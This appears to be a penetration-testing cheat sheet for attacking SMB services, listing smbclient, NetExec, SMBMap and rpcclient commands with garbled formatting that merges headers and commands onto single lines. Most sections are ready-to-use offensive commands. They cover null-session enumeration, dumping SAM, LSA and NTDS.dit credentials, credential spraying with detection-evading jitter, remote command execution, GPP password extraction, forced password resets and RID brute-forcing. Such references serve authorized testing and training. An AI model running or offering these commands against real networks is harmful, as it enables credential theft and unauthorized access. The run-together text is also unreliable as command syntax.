08TCP
SMB
Modern SMB (like SMBv2/v3) typically uses only TCP 445, while older versions (SMBv1) may use 139 and NetBIOS-related ports.
00 Basic
- Find smb version
bash6 lines
sudo tcpdump -s0 -n -i tun0 src <IP> and port 139 -A -c 10 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.'sudo ngrep -i -d tun0 's.?a.?m.?b.?a.*[[:digit:]]' port 139
smbclient -L //<IP>nmap -p 445,139 --script smb-protocols,smb-system-info,smb-os-discovery <IP>enum4linux -a <IP> | tee enum4linux_output.txt01 SMBclient
bash32 lines
## ------------------| Enumsmbclient //<IP>
## ------------------| List all shares (Null session)smbclient -N -L //<IP>
## ------------------| List all shares with credentialssmbclient -L //<IP> -U '<USER>%<PASS>'
## ------------------| Login to the usersmbclient -U '<USER>%<PASS>' \\\\<IP>\\c$
## ------------------| Connect to a specific share (interactive)smbclient //<IP>/<SHARENAME> -U '<USER>%<PASS>'
## ------------------| Connect to a specific share with NT1 protocol (for older SMB versions)smbclient -N //<IP>/<SHARENAME> --option='client min protocol=NT1'
## ------------------| Download all filessmbclient -N //<IP>/<SHARENAME> -U <USER> -c "prompt OFF;recurse ON;mget *"
## ------------------| Upload fileput desktop.ini
## ------------------| List info about## if it has ACL:Everyone:ALLOWED/OI|CI/FULL we can write/readsmbcacls -N //<IP>/Department /Users
## ------------------| Connect to a specific share with other protocolssmbclient -L //<IP> -U <USER> -m SMB2smbclient -L //<IP> -U <USER> -m SMB3smbclient -L //<IP> -U <USER> -m NT102 NetExec (CrackMapExec)
bash91 lines
## ------------------| Enumerate Hostsnxc smb 192.168.3.201-203nxc smb 192.168.3.0/24 --ping
## ------------------| List Available Modulesnxc smb <IP> -Lnxc smb <IP> --shares -L
## ------------------| Tricks# By default, nxc attempts to authenticate to domain accounts. Use -d WORKGROUP to target local user accounts.# Use --no-bruteforce to avoid locking out accounts during credential testing.# Specify --timeout <seconds> to adjust connection timeout for slow networks.# Use --jitter <seconds> to add random delays between requests to evade detection.
## ------------------| Enumerate Shares / Basic Infonxc smb <IP>nxc smb <IP> --sharesnxc smb <IP> -u '' -p '' --sharesnxc smb <IP> -u 'NonExistentUser' -p '' --sharesnxc smb <IP> -u 'NonExistentUser' -H <HASH>nxc smb <IP> -d WORKGROUP -u 'NonExistentUser' -H <HASH>nxc smb <IP> -u 'username' -p 'password' --shares --continue-on-success
## ------------------| Enumerate Active Sessionsnxc smb <IP> -u 'username' -p 'password' --sessions
## ------------------| Enumerate Disksnxc smb <IP> -u 'username' -p 'password' --disks
## ------------------| Enumerate Logged-on Usersnxc smb <IP> -u 'username' -p 'password' --loggedon-usersnxc smb <IP> -u 'username' -p 'password' --loggedon-users --continue-on-success
## ------------------| Enumerate Domain Usersnxc smb <IP> -u 'username' -p 'password' --users
## ------------------| Enumerate Users by Bruteforcing RIDnxc smb <IP> -u 'username' -p 'password' --rid-brute
## ------------------| Enumerate Domain Groupsnxc smb <IP> -u 'username' -p 'password' --groups
## ------------------| Enumerate Local Groupsnxc smb <IP> -u 'username' -p 'password' --local-groups
## ------------------| Identify SMB Signing Disablednxc smb --gen-relay-list output.txt 10.10.10.0/24
## ------------------| Enumerate Password Policy# If Account Lockout Threshold: None, bruteforcing is safenxc smb <IP> --pass-polnxc smb <IP> -u '' -p '' --pass-polnxc smb <IP> -u 'username' -p 'password' --pass-pol
## ------------------| Dump SAM/LSA/NTDS.ditnxc smb <IP> -u 'username' -p 'password' --samnxc smb <IP> -u 'username' -p 'password' --lsanxc smb <IP> -u 'username' -p 'password' --ntdsnxc smb <IP> -u 'username' -p 'password' --ntds vssnxc smb <IP> -u 'username' -p 'password' --ntds drsuapi
## ------------------| Execute Commands#### PowerShell (-X)nxc winrm <IP> -u 'username' -p 'password' -X "whoami /all"nxc winrm <IP> -u 'username' -p 'password' -X "powershell -c 'Get-Process'"#### CMD (-x)nxc winrm <IP> -u 'username' -p 'password' -x "whoami /all"
## ------------------| Crawling Sharesnxc smb <IP> -u 'username' -p 'password' -M spider_plusnxc smb <IP> -u 'username' -p 'password' -M spider_plus -o OUTPUT_DIR=/tmp/spidernxc smb <IP> -u 'username' -p 'password' -M spider_plus --filter '*.txt|*.docx'nxc smb <IP> -u 'username' -p 'password' -M spider_plus -o EXCLUDE_FILTER='print$,NETLOGON,SYSVOL,IPC$'### to view spider_plus.json use cat spider_plus.json | jq '. | map_values(keys)'
## ------------------| Credential Sprayingnxc smb <IP> -u /path/to/userlist.txt -p 'password' --continue-on-successnxc smb <IP> -u 'username' -p /path/to/passlist.txt --no-bruteforce
## ------------------| Check for Vulnerabilitiesnxc smb <IP> -u 'username' -p 'password' -M ms17-010nxc smb <IP> -u 'username' -p 'password' -M zerologonnxc smb <IP> -u 'username' -p 'password' -M nopac
## ------------------| Enumerate GPP Passwordsnxc smb <IP> -u 'username' -p 'password' -M gpp_autologinnxc smb <IP> -u 'username' -p 'password' -M gpp_password
## ------------------| Download/Upload Filesnxc smb <IP> -u 'username' -p 'password' --get-file 'C$\path\to\file.txt' /local/path/file.txtnxc smb <IP> -u 'username' -p 'password' --put-file /local/path/file.txt 'C$\path\to\file.txt'03 SMBMap
bash31 lines
## ------------------| General flags## -H HOST IP of host## --host-file FILE File containing a list of hosts## -u USERNAME Username, if omitted null session assumed## -p PASSWORD Password or NTLM hash## --prompt Prompt for a password## -s SHARE Specify a share (default C$), ex 'C$'## -d DOMAIN Domain name (default WORKGROUP)## -P PORT SMB port (default 445)## -v Return the OS version of the remote host## -x COMMAND Execute a command ex. 'ipconfig /all'## -L List all drives on the specified host (requires ADMIN)## -r [PATH] List contents of directory. (Recursively)## -g FILE Output to a file in a grep friendly format,## --dir-only List only directories, ommit files.## --depth DEPTH Traverse a directory tree to a specific depth.## --download PATH Download a file from the remote system,## --upload Upload a file to the remote system ex.## --delete PATH Delete a remote file, ex. 'C$\temp\msf.exe'## --skip Skip delete file confirmation prompt
## ------------------| List sharessmbmap -H <IP>smbmap -u 'anonymous' -H <IP>smbmap -u 'anonymous' -p 'anonymous' -H <IP>
## ------------------| Recursively listsmbmap -r directory -H <IP>
## ------------------| Download filesmbmap -r directory -H <IP> -A filename.txt -q04 RPCClient
bash24 lines
## ------------------| Login as userrpcclient -U 'support' <IP>rpcclient -U 'Administrator:Password' <IP>
## ------------------| Null authrpcclient -U '' <IP>
## ------------------| Enumarationslookupnames Guest ### Resolves the "Guest" name to its associated SID.enumdomusers ### Enumerates all users in the domain.queryuser 0x450 ### Retrieves information about the user with the RID `0x450`.enumprinters ### Enumerates all printers available in the network.srvinfo ### Retrieves detailed information about the server.enumdomains ### Enumerates all domains deployed within the network.querydominfo ### Provides detailed information about the domain, server, and users within deployed domains.netshareenumall ### Enumerates all available network shares.queryuser <RID> ### Provides information about a specific user identified by the RID (Relative Identifier).netsharegetinfo <share> ### Retrieves information about a specific network share.
## ------------------| Change users passwordsetuserinfo2 <UserAccount> 23 '<PASS>'
## ------------------| Brute Forcing User RIDsfor i in $(seq 500 1100);do rpcclient -N -U "" <IP> -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done